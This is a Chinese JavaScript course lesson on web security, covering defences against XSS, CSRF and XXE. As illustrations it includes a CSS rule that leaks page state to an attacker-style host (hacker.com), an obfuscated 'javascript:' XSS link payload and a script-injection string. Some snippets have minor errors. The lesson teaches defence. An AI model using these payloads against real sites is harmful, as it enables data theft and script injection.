learn-tech/专栏/JavaScript进阶实战课/31安全:JS代码和程序都需要注意哪些安全问题?.md
2024-10-16 06:37:41 +08:00

173 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

因收到Google相关通知网站将会择期关闭。相关通知内容
31 安全JS代码和程序都需要注意哪些安全问题
你好,我是石川。
对于大多Web应用来说我们的程序所提供的功能是对外公开的这给我们带来了流量的同时也给我们的系统带来了风险。而且越是关注度高的应用就越有可能遭到攻击所以安全是任何应用都要重视的一个话题。
那么今天我们来看一下在JavaScript中需要做的安全考虑。这里就包含了跨站脚本攻击XSS、跨站请求伪造CSRF和XXE漏洞。下面我们来一一看一下这些问题总结下相关的安全解决方法。
跨站脚本攻击
跨站脚本攻击是一种非常常见的攻击。顾名思义它指的就是通过来自跨网站的脚本发起的攻击。为了降低出现XSS漏洞的可能性有一条重要的开发原则是我们应该禁止任何用户创建的未经过处理的数据传递到DOM中。而当用户创建的数据必须传递到DOM中时应该尽量以字符串的形式传递。
类字符串检查
我们可以通过多种方式在客户端和服务器上对数据进行检查。其中一种方法是利用JavaScript中的内置函数 JSON.parse()它可以将文本转换为JSON对象因此将数字和字符串与转换后的内容做对比。如果一致就可以通过检查但函数等复杂的数据类型的对比是会失败的因为它们不符合与JSON兼容的格式。
var isStringLike = function(val) {
try {
return JSON.stringify(JSON.parse(val)) === val;
} catch (e) {
console.log('not string-like');
}
};
字符串净化
另外需要注意的是,字符串/类字符串虽然不是DOM本身但仍然可以被解释或转换为DOM。为了避免这种情况我们必须确保DOM会将其直译为字符串或类字符串而不作转换。
因此在使用 DOM API 时需要注意的是任何将文本转换为DOM或脚本的行为都是潜在的XSS 攻击。我们应该尽量避免使用 innerHTML、DOMParser、Blob 和 SVG 这些接口。以 innerHTML 为例,我们最好使用 innerText 而不是 innerHTML 来注入 DOM因为innerText 会做净化处理将任何看起来像HTML标签的内容表示为字符串。
var userInput = '<strong>hello, world!</strong>';
var div = document.querySelector('#userComment');
div.innerText = userInput; // 这里的标签被解释成字符串
HTML实体编码
另外一种防御措施是对用户提供的数据中存在的所有HTML标记执行HTML实体转义。实体编码允许某些特定的字符在浏览器中显示但不能将其解释为JavaScript来执行。比如标签<>对应的编码就是 & + lt; 和 & + gt;。
CSS净化
CSS 的净化包括了净化任何 HTTP 相关的 CSS 属性,或者只允许用户更改指定的 CSS 字段,再或者干脆禁止用户上传 CSS 等。因为相关的属性,比如 background:url可能会导致黑客远程改变页面的展示。
#bankMember[status="vip"] {
background:url("https://www.hacker.com/incomes?status=vip");
}
内容安全策略
内容安全策略CSP是一个安全配置工具。CSP 可以允许我们以白名单的方式列出允许动态加载脚本的网站。实现 CSP 的方式很简单。在后端的话可以通过加Content-Security-Policy的标头来实现如果是在前端的话则可以通过元标签实现。
Content-Security-Policy: script-src "self" https://api.example.com.
<meta http-equiv="Content-Security-Policy" content="script-src https://www.example.com;">
另外默认的情况下CSP 可以禁止任何形式的内联脚本的执行。在使用 CSP 的时候要注意不要使用eval(),或者类似 eval() 的字符串。eval() 的参数是一个字符串但如果字符串表示的是一个函数表达式eval() 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句,那么 eval() 也会执行这些语句。
eval("17+9") // 26
var countdownTimer = function(mins, msg) {
setTimeout(`console.log(${msg});`, mins * 60 * 1000);
};
尽量避免的API
有些 DOM API 是要尽量避免使用的。下面我们再看看DOMParser API它可以将 parseFromString 方法中的字符串内容加载到DOM节点中。对于从服务器端加载结构化的 DOM这种方式可能很方便但是却有安全的隐患。而通过 document.createElement() 和 document.appendChild() 可以降低风险虽然使用这两种方法增加了人工成本但是可控性会更高。因为在这种情况下DOM 的结构和标签名称的控制权会在开发者自己手中,而负载只负责内容。
var parser = new DOMParser();
var html = parser.parseFromString('<script>alert("hi");</script>`);
Blob 和 SVG 的 API 也是需要注意的接口因为它们存储任意数据并且能够执行代码所以很容易成为污点汇聚点sinks。Blob 可以以多种格式存储数据,而 base64 的 blob 可以存储任意数据。可缩放矢量图形SVG非常适合在多种设备上显示一致的图像但由于它依赖于允许脚本执行的XML规范SVG 可以启动任何类型的 JavaScript加载因此使用的风险要大于其他类型的可视化图像。
另外即使是将不带标签的字符串注入DOM时要确保脚本不会趁虚而入也很难。比如下面的例子就可以绕开标签或单双引号的检查通过冒号和字符串方法执行弹窗脚本显示”XSS”。
<a href="javascript:alert(String.fromCharCode(88,83,83))">click me</a>
跨站请求伪造
以上就是针对跨站脚本攻击的一些防御方案接下来我们看看跨站请求伪造CSRF这也是另外一个需要注意的安全风险。
请求来源检查
因为CSRF的请求是来自应用以外的所以我们可以通过检查请求源来减少相关风险。在HTTP中有两个标头可以帮助我们检查请求的源头它们分别是 Referer 和 Origin。这两个标头不能通过JavaScript在浏览器中修改所以它们的使用可以大大降低CSRF攻击。Origin 标头只在 HTTP POST 请求中发送它表明的就是请求的来源和Referer不同这个标头也在 HTTPS 请求中存在。
Origin: https://www.example.com:80
Referer标头也是表示请求来源。除非设置成 rel=noreferer否则它的显示如下
Referer: https://www.example.com:80
如果可以的话,你应该两个都检查。如果两个都没有,那基本可以假设这个请求不是标准的请求并且应该被拒绝。这两个标头是安全的第一道防线,但在有一种情况下,它可能会破防。如果攻击者被加入来源白名单了,特别是当你的网站允许用户生成内容,这时可能就需要额外的安全策略来防止类似的攻击了。
使用CSRF令牌
使用CSRF令牌也是防止跨站请求伪造的方法之一。它的实现也很简单服务器端发送一个令牌给到客户端。
这个令牌是通过很低概率出现哈希冲突的加密算法生成的也就是说生成两个一样的令牌的概率非常低。这个令牌可以随时重新生成但通常是在每次会话中生成一次每一次请求会把这个令牌通过表单或Ajax回传。当请求到达服务器端的时候这个令牌会被验证验证的内容会包含是否过期、真实性、是否被篡改等等。因为这个令牌对于每个会话和用户来讲都是唯一的所以在使用令牌的情况下CSRF的攻击可能性会大大降低。
下面我们再来看看无状态的令牌。在过去,特别是 REST API 兴起之前,很多服务器会保留一个用户已连接的记录,所以服务器可以为客户管理令牌。但是在现代网络应用中,无状态往往是 API 设计的一个先决条件。通过加密CSRF令牌可以轻易地被加到无状态的 API 中。像身份认证令牌一样CSRF 令牌包含一个用户的唯一识别,一个时间戳,一个密钥只在服务器端的随机密码。这样的一个无状态令牌,不仅更实用,而且也会减少服务器资源的使用,降低会话管理所带来的成本。
无状态的GET请求
因为通常最容易发布的CSRF攻击是通过HTTP GET请求所以正确地设计API的结构可以降低这样的风险。HTTP GET请求不应该存储或修改任何的服务器端状态这样做会使未来的HTTP GET请求或修改引起CSRF攻击。
// GET
var user = function(request, response) {
getUserById(request.query.id).then((user) => {
if (request.query.updates) { user.update(request.updates); }
return response.json(user);
});
};
参考代码示例第一个API把两个事务合并成了一个请求+一个可选的更新第二个API把获取和更新分成了GET和POST两个请求。第一个API很有可能被CSRF攻击者利用而第二个API虽然也可能被攻击但至少可以屏蔽掉链接、图片或其它HTTP GET风格的攻击。
// GET
var getUser = function(request, response) {
getUserById(request.query.id).then((user) => {
return response.json(user);
});
};
// POST
var updateUser = function(request, response) {
getUserById(request.query.id).then((user) => {
user.update(request.updates).then((updated) => {
if (!updated) { return response.sendStatus(400); }
return response.sendStatus(200);
});
});
};
泛系统的CSRF防御
根据木桶原则一个系统往往是最弱的环节影响了这个系统的安全性。所以我们需要注意的是如何搭建一个泛系统的CSRF防御。大多的现代服务器都允许创建一个在执行任何逻辑前在所有访问中都可以路由到的中间件。
这样的一个中间件检查我们前面说的 Origin/Referer 是否正确CSRF 令牌是否有效。如果没有通过这一系列的检查,这个请求就应该中断。只有通过检查的请求,才可以继续后续的执行。因为这个中间件依赖一个客户端对每一个请求传一个 CSRF 令牌到服务器端,作为优化,这个检查也可以复制到前端。比如可以用包含令牌的代理模式来代替 XHR 默认的行为,或者也可以写一个包装器把 XHR 和令牌包装在一个工具里来做到复用。
XXE漏洞
XXE是XML外部实体注入XML External Entity的意思。防止这个攻击的方法相对简单我们可以通过在XML解析器中禁止外部实体的方式来防御这种攻击。
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
对基于Java语言的XML解析器OWASP把XXE标记为尤为危险而对于其它语言来说XML外部实体默认可能就是禁止的。但为了安全起见无论使用什么语言最好还是根据语言提供的API文档找到相关的默认选项来看是否需要做相关安全处理。
而且如果有可能的话使用JSON来替代XML也是很好的选择。JSON相对比XML更轻盈、更灵活能使负载更加快速和简便。
总结
今天我们看到了一些Web中常见的漏洞和攻击。网络和信息安全不仅是影响业务更是对用户数字资产和隐私的一种保护所以在安全方面真的是投入再多的精力都不过分。这节课我们只是站在Web应用的角度分析了一些常见的漏洞实际上安全是一个更大的值得系统化思考的问题。
思考题
今天我们提到了XML和SVG都是基于XML Schema 的XML我们大多可以通过JSON来代替那么你知道SVG可以通过什么来代替吗
欢迎在留言区分享你的答案、交流学习心得或者提出问题,如果觉得有收获,也欢迎你把今天的内容分享给更多的朋友。我们下节课再见!